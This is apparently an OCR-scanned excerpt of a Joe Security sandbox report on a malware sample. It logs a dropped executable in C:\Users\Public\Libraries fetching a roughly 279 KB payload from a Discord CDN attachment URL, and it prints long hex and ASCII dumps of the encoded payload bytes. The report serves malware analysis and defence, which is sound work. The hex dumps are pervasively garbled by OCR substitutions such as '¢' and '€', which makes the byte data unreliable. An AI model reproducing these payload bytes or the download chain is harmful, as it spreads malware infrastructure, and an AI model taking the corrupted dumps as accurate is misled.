8d bd b8 47 da 20 8d f4 5d e7 82 ad b5 74 7d 1f 2d 0f 82 a3 08 ea 97 c2 9f 23 92 4b 4c 06 4c 4f 53 6a 32 94 90 a4 e7 2f
b3 21 51 69 e5 a3 08 9e df a0 8a 52 85 9f a7 12 e2 07 20 4f 8¢ 16 15 9d c0 19 64 50 1c 6f d1 56 1a 77 cc a4 58 c2 8a 6b
cacf 43 2d 31 0d 56 ab f3 b4 e5 a9 28 dd 62 20 2b 49 12 c2 80 d6 86 9a b6 95 9c d1 98 8a a8 13 0d aa fc e6 32 ff 12 cd
6adb a4 d2 71 52 87 f8 54 b3 42 95 fd a7 39 8 13 42 6e a5 f8 Oc 82 Oc 2d 75 6e af 12 9c ¢8 bc 03 71 b5 e8 47 61 b6 3d
e6 ac 10 52 65 cd 57 23 94 18 6a 27 ¢4 bc 48 7d 5b 6d 1d 19 2a Oc 29 d8 7d 1f 1d eb 8b 94 e3 df d8 d4 73 8b b8 c8 21 dO
7526 b8 ed 96 a0 16 8b ac 7b 82 1b 16 f4 b2 10 0f c4 d3

Data Ascii: 02"'z0Z9$fT,<AB]rG ]Jt}-#KLLOSj2/!QiR OdPoVwXKC-1V(b +I2jgRTBIBN-unqGa=ReW#j'H}[m*)}s!u&{
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:09 UTC 537 IN
2022-06-26 07:43:09 UTC 541 IN
2022-06-26 07:43:09 UTC 546 IN
2022-06-26 07:43:09 UTC 557 IN
2022-06-26 07:43:09 UTC 562 IN
2022-06-26 07:43:09 UTC 578 IN
2022-06-26 07:43:09 UTC 589 IN
2022-06-26 07:43:09 UTC 605 IN
Session ID Source IP Source Port
3 192.168.2.3 49751

Copyright Joe Security LLC 2022

Data

Data Raw: eb 6d 09 d5 0d 5f 06 74 6a 69 d7 f7 dc 3f c4 bb 2b bb 7a 08 06 35 51 8e 37 b8 4b 6¢ 3a f9 6b fa 75 82 f8 8¢ 25
7d 5e ff a5 50 ab f6 0d 5e 89 f0 c4 59 34 17 76 78 d2 90 57 8f Ob ca 09 c2 5b 16 13 74 5f b2 3b 07 66 d8 61 e3 4b ac 00
c8 a0 789 fb 8¢ fO cb 82 8c 4b 33 a4 f0 b4 2a 7f 69 f3 8d 89 03 3f 20 e0 2a a7 {7 1a f4 df 45 2c 58 1d 6e 48 le 7e c9 c6
72 6e c1 8504 59 8d 4c f2 c5 98 fa 52 e2 f2 ef fe 01 b7 el 28 9f 02 10 42 a8 48 8e 11 13 2d Oa 1c ee 27 64 6b 47 2c e4
8a bb 54 3c 1e c3 1e ee 01 19 31 09 cc 6a f5 e5 3b al 44 7e 38 Ob 5a 01 27 4e 56 2f a8 3f 68 f1 f7 46 b9 fd 59 2c 8d 9f a9
el 2c 35 bd 99 4b 39 77 09 e4 €0 aa b2 46 3f 15 a7 19 4b 9c a5 54 93 6¢ 8e c7 6f 5d bc 30 91 bb 40 1e 6b 88 31 b5 df 1f
de 48 0c 06 c5 0b 19 50 2d el 90 71 d7 5¢ 9f 2¢

Data Ascii: m_tji?+z5Q7Kl:ku%}*"P Y 4vxWIt_;fakxK3*i? *E,XnH~mYLR(BH-'dkG, T<1j;D~8Z'NV/?hFY,,5KOWF?KT
lo]J0@k1HP-q\,

Data Raw: 6¢ bc be 43 ba 80 4a 55 1d d0 2c 51 54 a9 84 72 85 1d c6 a9 30 bl aa 88 f2 7e fe f6 2d 88 d2 f2 7b 12 9e 7a
db 6a 01 7f f0 25 89 ¢3 70 60 bd 4b 9f 2a el d5 5¢ f4 60 39 37 dd fO da 02 e3 a3 23 89 48 ee al 04 44 5c¢ 62 c1 38 99 93
05 cc 2a bd c4 db 59 81 95 42 40 0f 04 12 Of cf 83 09 d4 7e 6a 0a 42 d0 18 42 e3 f7 03 fe 94 42 b4 c6 41 dO b0 47 1c 8c
002ad7 7c 71 db 8f ad 3a 64 0a 91 5e 27 6¢ 12 de 48 56 72 28 ab 8b Oc 62 75 ef 01 51 0a Oc f1 5a d5 86 44 a3 97 f3 60
d379 70 8f 0a b5 d6 71 18 al a5 52 92 b5 35 0a 37 22 cd 2a 31 29 22 30 de la al 3f b2 b8 €6 51 a2 45 74 bc c1 02 cb
€8 96 6b b1 19 0f d6 d8 6d 6d 6b 40 f1 15 7c de €3 31 1b c8 a9 d1 5c ea €8 ad 88 d7 11 f4 69 cd 53 64 93 25 b4 f6 cd 28
ef b7 40 ef be 32 1f d8 53 56 c1 9a ae de bc 4f e0 01 cO fa

Data Ascii: ICJU,QTr0~-{zj%p K*\'97#HD\b8*YB@~jBBBAG*|q:d"IHVr(buQZD ypgR57"*1)"0?QEtkmmk@|1\iSd%(@
2SVO

Data Raw: ¢6 6d Oc fa 29 c¢1 70 1b 51 bc 48 f5 81 62 00 28 17 11 89 11 cb 29 6d Oe cd 92 25 bd 66 2a a6 a0 00 5a cd 29
57 7b db 19 25 77 80 17 9a 18 28 14 2c da 24 fd 9b b0 54 a4 09 1le cb 12 f7 bd 41 7c 64 74 3c c9 3d 3b 5c cf ab 90 91 de
54 5d 09 06 34 ea 36 d7 9c 50 c4 4b f0 29 96 €0 ac 4e 6f b4 41 30 10 3d 0d 0d 37 d0 49 8d 85 65 1b 11 8e 8a 98 €0 72
5e 4d d8 dd 4e 50 d1 20 f4 5e 6f 44 09 43 f7 bb 35 48 19 ca 4e cf 69 ef fe €8 0a 22 d4 ca Oc 15 ea c0 b6 73 46 b5 6e 88
18 c8 5f e9 af 8550 81 dd 7b 11 d9 f0 20 d6 e3 f8 d7 07 62 e7 2d e3 13 fa d4 91 59 2c c6 cd al 51 d0 49 e9 ca 52 e8 6f
Oc a0 82 2b 65 b9 eb f5 0d aa 10 c0 d6 98 ea 73 13 53 a8 33 c7 e5 ae 2a 3c ba 56 62 6¢ f9 d2 90 a5 e0 4e a5 44 dO 3a f8
155a9d 70 3e ¢8 5d 12 ¢6 50 88 3c al 4a 11 fd d7 8e e4 7b

Data Ascii: m)pQHb()m%f*Z)W{%w(,$TA|dt<=;\T]46PK)NoAO=7ler"MNP "oDC5HNi"sFn_P{ b-Y,QIRo+esS3*<VbIND:
Zp>]P<J{

Data Raw: 10 75 Oa 59 57 81 33 0a 5e 71 c5 49 d7 50 03 12 fa d5 95 b4 3 9f 98 93 39 02 6a af aa 72 87 c6 cb a5 b1l f8 7
5b 2f 15 e5 7b 4e 1c 7e c0 71 fO 5b 2a b5 ee a5 89 70 99 16 0d cf fb e2 cb ac bl f1 ad c3 2f fe 2a 1b 8e 4e 03 1e 7b 24 Ob
3e e5 11 ce fl e3 d3 c4 bf 49 ¢9 74 73 37 69 4a 65 d1 70 87 18 f5 41 98 85 ba d7 1e cc 70 a0 b9 45 79 9d ba 84 76 c3 03
c5 f3 25 53 89 d1 e3 7e cc 28 63 3e 57 27 82 b5 05 19 36 9f ca 6a 22 07 7e 93 ca fe 11 ec 46 46 27 a5 23 4¢c 66 €9 9d el
53 2b 6f 93 e3 bd 1d 1b 57 c2 5f 8b 24 bb 45 39 ce f2 44 ce b9 85 ea 9b ab e8 82 8¢ f5 ed e6 59 dd 92 b3 8d 20 bd b1 Oa
4b 6a 63 a3 6d ac 8c e5 d4 70 05 ba db 7b ab 38 57 cc 89 c2 31 76 b7 43 4c 39 bd c5 46 64 9b d6 fc 68 62 4e ee 11 2d
80 6b d7 aa 73 19 83 8d 60 59 68 f9 bb 8d a9 05 63 ec

Data Ascii: uYW3qIP9jr[/{N~q[*p/*N{$>Its7iJepApEyv%S~(c>W'6j"'~FF'#LfS+oW_$EIDY Kjcmp{8W1vCLIFdhbN-ks Yhc

Data Raw: 31 76 44 1c c2 43 1f 51 2d 76 31 ef 22 c1 34 3d d4 96 16 30 5d 12 54 f1 8e 42 29 4f 8c 0d bc ea 8f fd d5 b8 22
4a 4f 04 c2 84 5d 55 ef 87 06 b8 b5 fa 9c 2e 03 8a 4f 90 04 97 12 aa d0 d6 df 6¢ d5 e6 Ob dc 2b 03 c4 93 1f 74 06 76 07
2472 7e 50 fc 03 f9 b2 fb b3 a0 40 34 1b 99 8b f1 3b 11 9d 77 f3 86 12 04 77 4f b8 69 ec f4 bd 50 8b 25 c7 40 9f 85 88 fa
12 394 5f d3 07 69 1b 20 38 9f db 15 95 8f 2c 13 42 f5 20 8¢ bd 54 57 80 7d bd 2d ba el 3a d7 9b c2 1d bc 5a fb Ob f1
€9 68 38 60 e0 97 36 6a ca 67 45 ec 2b 8f e5 f5 ¢8 3 6b b2 30 33 34 ce bd e0 39 e6 5b 30 fa f2 16 46 a2 c9 f9 7d f5 62 31
04 23 72 c3 f5 4c 8b 9b 44 b3 ba d3 5¢ bl 2d ff 43 a3 6d 77 cd e5 76 af 01 be 72 bf d6 a6 b0 ec ef 74 cd 9f 57 96 5a 7f b3
df 37 ae ¢3 96 6f 18 fa 6d 3c fd 75 c0 02 f3

Data Ascii: 1vDCQ-v1"4=0]TB)O"JOJU.Ol+tv$r~P@4;wwOiP%@_i 8,B TW}-:Zh8 6jgE+k0349[0F}b1#rLD\-CmwvrtWZ
7om<u

Data Raw: 73 bc ae fc a3 a2 31 be ad 92 38 fd 67 a5 e6 72 92 1a 64 35 ea 8c 45 d1 45 a3 e7 1f b9 a9 a6 Oa 92 39 d9 0f
91 3c bc e0 00 a6 ca bd el 72 00 7e 46 5b d9 00 7e b4 70 85 66 a2 c8 72 9 44 f2 2¢ 74 51 e2 fe 5¢ 79 6¢ 07 ea d4 ab cb
d4 3b fe 80 7d 9e 94 37 57 40 a3 40 31 45 45 33 00 f2 2c b1 d1 e8 7b c6 fa 44 53 3d af d2 36 3e 07 76 d6 d2 81 d7 02 74
64 7e 29 Oe ca 6f be 57 40 7c ¢9 21 3c 1d 16 a2 d4 3f 9f dd 70 6f 67 87 6f e3 1c el Oe de ea Oc 14 1a 97 ed dd 34 66 44
4592 e6 60 36 63 8b c0 a4 2a e7 2b 7c c2 a0 11 3c 78 67 2e 09 5e 32 2e 96 d6 e5 44 d2 1b 49 51 61 b7 e6 f2 3¢ 35 47
90 Oa c7 5a 98 27 fe b8 57 a5 f6 1f 5¢ f1 e3 b5 d6 e7 bb 19 61 39 9b ce ff 6b f8 2b af 26 8e c6 db ce 5 6a 50 8b 4e 2¢ 60
9e e6 a3 dl 70 e2 e2 b2 9a bl aa 4e c2 c1 55 ab 3a 7d f2

Data Ascii: s18grd5EE9<r~F[~pfrD,tQ\yl;}7W@ @1EE3,{DS=6>vtd~)oW@|!<?pogo4fDE 6c*+|<xg.”2.DIQa<5GZ'W\a
9k+&jPN, pNU:}

Data Raw: f0 55 d2 a4 ba 6b 88 7a 67 59 ec f4 69 5a df e8 Oc 85 d7 4d 37 55 73 9e 36 93 19 Oa 7f d4 b1 a8 22 fb ef cd a0
75 bd cd 1d 94 1d 67 6d 63 91 97 7a 0d 8¢ 33 45 45 48 94 3 ad 35 76 al 9c 8e cc 68 76 11 f6 1d 89 1b 8a 9a c7 2d 5b
3f db 49 21 02 20 9d 75 1e b7 87 55 bd e4 da 4b b3 8a aa 23 ab 36 68 4e fd 5¢ 74 d8 al 6 36 36 51 75 58 9f 0a 77 29
0d c0 b0 11 6a ba 3e 26 69 8d 7f 4c 68 72 ca 61 44 92 22 81 6d 12 01 5e 82 88 13 cb f2 e7 91 ¢4 dO 6f dd 7a 9c 6f b6 53
40 61 8f 79 85 dd c9 fa 9e 3b 9d 11 32 87 45 60 3¢ 84 30 1d fd b1 77 21 9d 6c f3 3b 80 75 a0 60 d1 fc cO 3f 94 58 d2 19
01 4e 5a 04 b5 36 32 72 01 9b 9b b9 60 61 c2 97 be e7 db 38 8 7 35 49 fa €5 91 06 9d 9d al 95 28 Of c4 61 04 95 00 a9
00 c9 57 d3 13 a5 bd 7f 3c 08 4c b9 c8 58 ea 58 7c 64 29 20

Data Ascii: UkzgYiZM7Us6"ugmcz3EEH5vhv-[?1! uUK#BhN\I66QuXW)j>&iLhraD"m ozoS @ay;2E <Owlli;u ?XNZ62r'a
85I(aW<LXX|d)

Data Raw: 77 9b 55 55 00 4a 77 2e 79 Oa 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00
75 4a77 9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77
9b 55 55 00 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 85 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55
5500 4a 77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 34 32 7d 79 4a 89 4f 00 75 4a 77 9b 55 55 00 4a
77 2e 79 0a 30 34 32 7d 55 55 77 4a 2e 77 89 8b 2e 77 75 4a 3c 85 8d 75 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73
2275 1c 696924 7322 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73
22 7d 7d 75 1c 69 69 24 73 22 75 1c 69 69 24 73 22 7d 7d 75 1c 69 69 24 73

Data Ascii: wUUJw.y042}UUwJ.w.wuJ42}yJOudwUUJIw.y042}UUwJ.w.wuJ42}yJOudwUUJIw.y042}UUwd.w.wu
J42}yJOuIwUUIw.y042UUwd.w.wuJ42}tyJOuIwUUIw.y042 U Uwd.w.wud<uuii$s " uiiss uiiss " Huii$s"uii$s Huiiss uiiss"}
Juii$s"uii$s"Huiiss

Destination IP Destination Process
Port
162.159.134.233 443 C:\Users\Public\Libraries\Eluiezilfw.exe
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kBytes

Timestamp T Direction
2022-06-26 07:43:17 UTC 605 ouT
2022-06-26 07:43:17 UTC 606 IN
2022-06-26 07:43:17 UTC 607 IN
2022-06-26 07:43:17 UTC 607 IN
2022-06-26 07:43:17 UTC 608 IN
2022-06-26 07:43:17 UTC 610 IN
2022-06-26 07:43:17 UTC 611 IN
2022-06-26 07:43:17 UTC 612 IN

Copyright Joe Security LLC 2022

Data

GET /attachments/990482594137251863/990489253987360768/Eluiezilfiwmdrgrdfrgpnwmurrnwnhm HTTP/1.1
User-Agent: 91

Host: cdn.discordapp.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 26 Jun 2022 07:43:17 GMT

Content-Type: application/octet-stream

Content-Length: 279040

Connection: close

CF-Ray: 72144fa56c9abbf8-FRA

Accept-Ranges: bytes

Age: 29

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Eluiezilfwmdrgrdfrgpnwmurrnwnhm

ETag: "7d74af495b07aad93486870343b767e3"

Expires: Mon, 26 Jun 2023 07:43:17 GMT

Last-Modified: Sun, 26 Jun 2022 05:30:40 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1656221440589477

x-goog-hash: crc32c=Xt3y7g==

x-goog-hash: md5=fXSvSVsHqtkOhocDQ7dn4w==

X-g00g-metageneration: 1

x-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 279040

X-GUploader-UploadID: ADPycdvxBSrtOJadICrFNKKLfO89NIJC2XolLUI9I7gh0iKGSgrZ72iFb7WGALILAXIO6pTzoCsdju
JYzhz500HWT7alxBA

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints”:[{"url":"https:V\V/a.nel.cloudflare.comVreport\\v3?s=Bz2kShRpzLwKS4ZtL Oj0Ms49yEh%2FSK
UnFhePRt89dTICV%2B%2BkZk1W%2BVQkrY51uF7Zgn3%2FpfA7jRe8VIAjVKIAKXKOEMAgHZ8043XjQ4%2FST7fvXB
2G4xAK5W%2BZ9zpdpo6M6n4jSQ%3D%3D"}],"group™:“cf-nel”,"max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74
6f 22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20
63 6¢ 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 28 7f b5 25 de 25 25 25 29 25 25 25 da da 25 25 dd 25 25 25 25 25 25 25 65 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 dc 25 25 33 fa df 33 25 d9 e4 a8 fc dd dc
71 a8 fc 79 8d 44 4e 45 95 97 4a 42 97 3c 48 45 3e 3¢ 93 93 4a 99 45 87 40 45 97 50 93 45 44 93 45 69 2a 2e 45 48 4a
89 40 53 e8 e8 2f 49 25 25 25 25 25 25 25 19 fb 3d ab d5 92 9b b0 d5 92 9b b0 d5 92 9b b0 Oe 86 9d b0 92 92 9b b0 ba ¢
d 58 b0 8e 92 9b b0 ba cd al b0 96 92 9b b0 ba cd 97 b0 d7 92 9b b0 63 9a 04 b0 90 92 9b b0 7d cd 58 b0 8e 92 9b b0
63 9a 3b b0 8¢ 92 9b b0 d5 92 52 b0 a5 db 9b b0 Oe 9a 06 b0 7e 92 9b b0 ab 6¢ 58 b0 47 92 9b b0 ab 6¢ al b0 8¢ 92 9b
b0 86 4f 01 b0 d9 92 9b b0 52 8¢ 95 b0 8¢ 92 9b b0 77 44 3e 8d d5 92 9b

Data Ascii: (%%%%)%%%%%%%%%%%%0e %% % % %% %% %% % %% %% % % % %% %% %% % % % %%

%% %%%%%%%33%qyDNEJIB<HE><JE@EPEDEi* EHI@S/1%%%%%%%=Xc}Xc;R~IXGIORwWD>

Data Raw: 59 65 25 ec 79 24 93 99 40 97 8b 3c 3e 40 89 2a 87 8f 40 3e 99 66 e5 da 00 b5 cc 1c 25 66 e5 da 00 bl cc 1c
2566 e5 da 00 ad cc 1c 25 66 e5 da 00 a9 cc 1c 25 66 e5 da 00 a5 cc 1c 25 66 e5 da 00 c9 cc 1c 25 66 e5 da 00 al cc
1c 25 66 e5 da 00 c5 cc 1c 25 66 e5 da 00 9d cc 1c 25 66 e5 da 00 99 cc 1c 25 66 e5 da 00 95 cc 1c 25 66 e5 da 00 91
cc 1c 2566 e5 da 00 8d cc 1c 25 66 e5 da 00 89 cc 1c 25 66 e5 da 00 85 cc 1c 25 66 e5 da 00 81 cc 1c 25 66 e5 da 00 7
dcc 1c 2566 e5 da 00 79 cc 1c 25 66 e5 da 00 75 cc 1c 25 66 e5 da 00 c1 cc 1c 25 66 e5 da 00 71 cc 1c 25 66 e5 da 00
6d cc 1c 25 66 e5 da 00 69 cc 1c 25 66 e5 da 00 d9 cc 1c 25 66 e5 da 00 d5 cc 1c 25 66 e5 da 00 d1 cc 1c 25 66 e5 da
00 65 cc 1c 25 66 e5 da 00 61 cc 1c 25 66 e5 da 00 e9 cc 1c 25 66 e5

Data Ascii: Ye%y$@<>@*@>f%f%f%f%f%f%f%f%f%f%f% %% %f%f%}%6fy Yofu%fY%fqvefmysfi%fYefefvefeYofadefof

Data Raw: 25 66 2b 66 65 2d 75 0d 3b 21 da da 60 e5 50 2f a2 e0 ed c0 1c 25 dc 25 25 25 66 2b 0d ec d8 da da 66 69 49
2964 2b dd 11 c0 1c 25 16 2b 50 b1 Oe e5 64 e2 5e al 49 31 25 99 ec 66 69 49 2d 64 e2 66 69 49 31 06 69 49 2d 64 22
29 5e e9 3d 38 3a 83 36 9e 66 e5 2e 7b 32 30 5e €9 0d 66 b4 64 39 49 68 99 49 2d 68 al 49 29 68 91 49 31 66 5 66 ef
5c be 25 15 da da 64 71 49 35 de 39 49 5¢ e7 da ea 25 25 5¢ 07 25 15 da da 64 79 49 39 66 69 49 35 64 de 66 69 49 39
06 69 49 35 64 1e 29 7c 11 c0 1c 25 64 e2 c6 36 66 e2 66 65 2d 64 2b 66 2 66 65 31 de 2b 64 20 25 66 2b 16 69 49 35
4e 2b 66 69 49 35 64 2b 66 20 25 16 69 49 39 9b e2 66 69 49 39 64 20 25 66 2b 16 20 25 4e fa 8f 29 8d 25 35 25 25 66
20 25 06 2b 75 66 2b 75 0d 4b d6 da da 60 €5 50 2b Oe €5 64 de c6 ea 66

Data Ascii: %f+fe-u;!"P/%%%%f+fil)d+%+Pd"11%fil-dfil 1il-d")*=8:6f.{20"fd9IhI-h1)h11f\%dqI591\%%\%dy 19fil 5dfil
9il5d)|%d6ffe-d+ffel+d %f+ilSN+fil5d+f %il9fil9d %f+ %N)%5%%f %+uf+uk”P+df

Data Raw: 0d f9 1b da da eb e0 €9 c0 1c 25 25 7¢ 49 Ob 1c 25 75 0d c¢7 1b da da Oe e5 7e 49 Ob 1c 25 7c 11 c0 1c 25 64
20 1d c6 6 8d 25 a5 25 25 8f 25 66 20 1d 66 65 2d 75 0d b3 1b da da 66 20 1d 66 25 64 20 1d dd 11 c0 1c 25 16 20 1d
50 b6 dd 11 c0 1c 25 0d 43 d2 da da dd 21 c0 1c 25 0d 39 d2 da da dd 4d Ob 1c 25 0d 2f d2 da da 7c 09 c0 1c 25 64 20
21 5e 58 21 25 99 fc 66 20 21 66 25 7e 09 c0 1c 25 66 20 21 75 0d 08 1b da da 7c 09 cO 1c 25 64 20 21 5e 58 21 25 50 b
aOe e5 7f 34 34 89 64 35 8d b2 41 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 02 1b da da 8d f1 c0 1c 25 0d 00 1
b da da 9e c4 8a 41 25 25 c6 b6 34 34 38 9e b5 2e 5e e9 1d 16 e0 3d Ob 1c 25 50 e4 66 75 29 64 f0 3d Ob 1c 25 66 75 29
64 39 49 66 75 2d 5c 1f 25 35 25 25 5a 73 16 29 49 50 2 60 f7 54

Data Ascii: %%|1%u~1%|%d %%%%f fe-uf f%d % P%C!%9M%/|%d "X!%f 11%~%f !u|%d "X!%P44d5Ae%(
9%%/%%A%%448./=%Pfu)d=%fu)d9Ifu-\%5%%Zs)IP T

Data Raw: 29 66 e2 7e 45 Ob 1c 25 66 22 29 7e 41 Ob 1c 25 d5 dc 5e e9 35 3a 83 36 9e 68 65 25 2e 5e €9 1d 66 fd 66 f9
68 1e 29 0d 19 1b da da 5e 61 49 25 99 e6 66 €9 0d 32 da da da a9 e5 50 29 Oe e5 c6 27 d5 dc 34 7f 36 9e b5 2e 7b 5e
€9 1d 66 17 66 fd 66 f1 68 7b 29 66 9e 0d 46 d2 da da 5e 61 49 25 99 e6 66 €9 0d 4b da da da a9 e5 50 29 Oe e5 c6 27
d5 dc 34 7f 83 36 9e 68 65 25 2c 66 f9 Oe a4 64 2f 60 e5 54 de 5e e5 de 9c 1d 27 18 25 29 25 25 5a f4 66 €8 49 Ob 1c 25
66 71 5c 19 64 2f 5e 5f 25 50 2d 65 18 dc 29 25 25 50 c2 66 27 7f 9e 68 65 25 2e 7b 32 30 5e €9 19 66 fd 68 99 49 2d 9a
3d Ob 1c 25 98 41 Ob 1c 25 7c 35 0b 1c 25 64 2b 66 2b 16 7d 2d ea b3 86 25 25 25 66 e2 64 2b 66 2b 66 65 2d 16 fd ea b
3 bf 25 25 25 66 3b 64 7f 2d 66 3b 66 77 29 64 3b 66 3b 16 7f 2d

Data Ascii: )f~E%f")~A%"5:6he%. ffh)"al%f2P)'46 .{ fffh{)fF al%fKP)'46he%,fd/ T"'%)%%Zf|%fq\d/"_%P-e)%%Pfhe%.{
207fhI-=%A%|5%d+f+}-%%%fd+f+fe-%%%f;d-f;fw)d;f;-
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kBytes

Timestamp transferred Direction
2022-06-26 07:43:17 UTC 614 IN
2022-06-26 07:43:17 UTC 615 IN
2022-06-26 07:43:17 UTC 616 IN
2022-06-26 07:43:17 UTC 618 IN
2022-06-26 07:43:17 UTC 619 IN
2022-06-26 07:43:17 UTC 620 IN
2022-06-26 07:43:17 UTC 622 IN
2022-06-26 07:43:17 UTC 623 IN
2022-06-26 07:43:17 UTC 624 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 65 25 a5 18 28 05 1c 25 25 99 2f 8d f1 c0 1c 25 0d 3f 11 da da 9e c4 d1 37 25 25 ¢6 0 66 20 21 36 66 cO 38
9e 66 €5 2e 7b 32 30 5e €9 19 66 ff 5e 9e €2 5e be 21 5e d6 31 58 €0 96 31 25 25 25 5e 0d 29 64 29 49 66 29 49 66 55
5¢ 0b 21 da da 5a 66 29 49 de eb 64 69 49 29 16 ce 50 e2 d5 dc c4 98 dc 25 25 16 ce ea b3 b5 25 25 25 66 13 06 c6 66
79 49 29 16 0 45 Ob 1c 25 50 51 04 08 45 Ob 1c 25 dc 08 41 Ob 1c 25 5e 18 41 Ob 1c 25 31 ea 68 4a dc 25 25 dc 08 45 0
b 1c 25 04 08 41 Ob 1c 25 66 03 c4 81 dc 25 25 64 69 49 29 66 69 49 29 1b 25 27 50 3d 66 69 49 29 64 69 49 2d 66 69
49 2d de 8d 2d 66 69 49 2d 0d 2c dO da da 5e d8 31 al fe 66 29 49 de 9e 64 69 49 29 5e a8 27 66 69 49 29 64 4d 66 69
49 29 5e €5 29 0d 67 1b da da c4 ea dc 25 25 66 03 ¢4 2d dc 25 25 66 d6

Data AsCil: €%6(%%/%627%%f 16f8f. {20/ ANATX1%6%96)d) If) FUNZD)Idil) PY%%%%%fTyl) EY6P QE%A% A%1h
JUYEYAYI%%dil)fil) % P=fil)dil-fil-fil- ALHIil il M) g%%1-%6f

Data Raw: 2b a5 5d 47 50 e8 66 2b a5 9d dc 47 50 e0 5e 2b 27 c6 ba Oe c8 66 2b 64 69 49 31 c6 36 66 2b a5 5d 47 50
65 66 2b 75 0d 7b c0 da da 64 2b c6 39 66 2b 75 0d 6f cO da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b af 3d a9 b6
99 e0 a5 d6 47 50 ba 66 2b a5 5d 25 99 45 66 2b 75 0d 47 c0 da da 64 2b c6 39 66 2b 75 0d 3b c0 da da 64 e2 66 e2 06
2b de 0d 66 €2 64 2b 66 2b a5 5d 45 52 ¢3 66 69 49 29 66 b0 0d 9d f4 25 25 66 69 49 31 64 2b 66 69 49 29 66 25 64 69
49 35 Oe c8 ¢c6 56 66 2b a5 5d 47 50 75 66 2b 75 0d b0 09 da da 64 2b c6 49 66 2b 75 0d a4 09 da da 64 e2 66 2b 16 e2
4e 39 66 2b af 25 66 79 49 35 ad 29 4f da 2b 20 66 2b 16 e2 97 11 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 aa 66 2b a5 5d
2599 55 66 2b 75 0d 6¢ 09 da da 64 2b c6 49 66 2b 75 0d 60 09 da da 64 e2

Data Ascii: +]GPf+GP/+'f+dil16f+]GPef+u{d+9f+uodf+fd+f+=GPf+]%Ef+uGd+9f+u;df+fd+f+]ER(il)f%%fil 1d+fil)f%dil5Vf
+]GPuf+ud+If+udf+N9f+%fyl5)O+ f+f+=GPf+]%Uf+uld+If+u’d

Data Raw: 59 65 25 25 25 a0 53 el c7 8c 12 65 25 25 65 9b 5f 46 e6 03 5f 65 25 25 0d 64 29 fe a2 af 63 65 25 25 87 d1
a0 c6 9d 88 1c 65 25 a5 9f f2 92 4b b2 fd 69 65 25 b5 d1 93 57 9d ab 62 6d 65 25 d9 32 2f 1a 3b 8d 84 26 65 25 7c c8 f1
3 f6 7 ae 73 65 c5 a9 39 65 3c 2c 34 a9 77 65 ed 80 f4 b5 94 80 4a 80 30 65 5f ea 45 19 02 6a a6 f3 7d 65 a9 e4 b9 1d
9d 14 1a 5¢ 81 65 c0 e6 94 5b b2 e2 6a 7c 3a 65 ba 73 42 29 a8 a4 17 a4 87 65 bb 47 5¢ 20 65 al 4a 21 40 65 c3 90 95
06 cd 88 a0 78 44 65 b0 ch aa da 24 fa 9d e7 ae 65 7e 39 76 a0 3b 86 8e ca 18 1c 05 b1 c4 a5 a4 22 df 6e cd 1c cf f2 Ob
5a 06 7c 3b db 37 67 46 30 02 14 68 d2 95 05 al 67 55 a4 61 be da bb 77 af c2 67 b3 03 d4 78 d6 c6 a3 cf 2c 1e bl Oa 8f
81 f4 21 4b 7 96 1e 9b be f1 17 04 Oa a9 5c 4b 69 7 2f b5

Data Ascii: Ye%%%Se%%e_F_e%%d)ce%%e%Kie%Wbme%2/;&e%|se9e<,4welOe_Ejle\e[j|:esB)eG\ eJ!@exD
e$e~9v;"nZ|;7gFO0hgUawgx, K\Ki/

Data Raw: 7b 8b 66 57 8b e4 1b 99 f2 8b 5¢ 23 25 e5 4e 35 75 66 25 0d 9d da da da 7d 99 e0 64 cc 83 da bc 83 66 2d da
3c 15 9e b5 77 2c 2e a9 f7 al de da 75 19 Oc f7 68 71 49 35 89 66 3f 64 f4 64 44 2d a2 1c 29 f4 12 65 25 64 1c 31 89 64
2f 36 34 7f 9e c4 5f dc 25 25 66 69 49 51 66 65 31 60 €5 99 33 66 2d d7 5¢ 75 da 2c 21 7d 0d e4 25 25 25 0d cd 27 25 25
9e 68 65 25 66 35 da 77 1d 9e 66 €5 2e 66 fd 66 9e 66 35 da 77 09 66 9e 36 9e 66 €5 a9 f7 5a dc 9e 75 77 66 35 da 77
0d 7f 7d 9e b5 a5 18 4d e5 1c 25 dc 9b ec 8f 25 8f 25 8f 25 8d ba 1f ¢8 33 da f0 39 05 1c 25 9e b5 a5 18 4d e5 1c 25 25
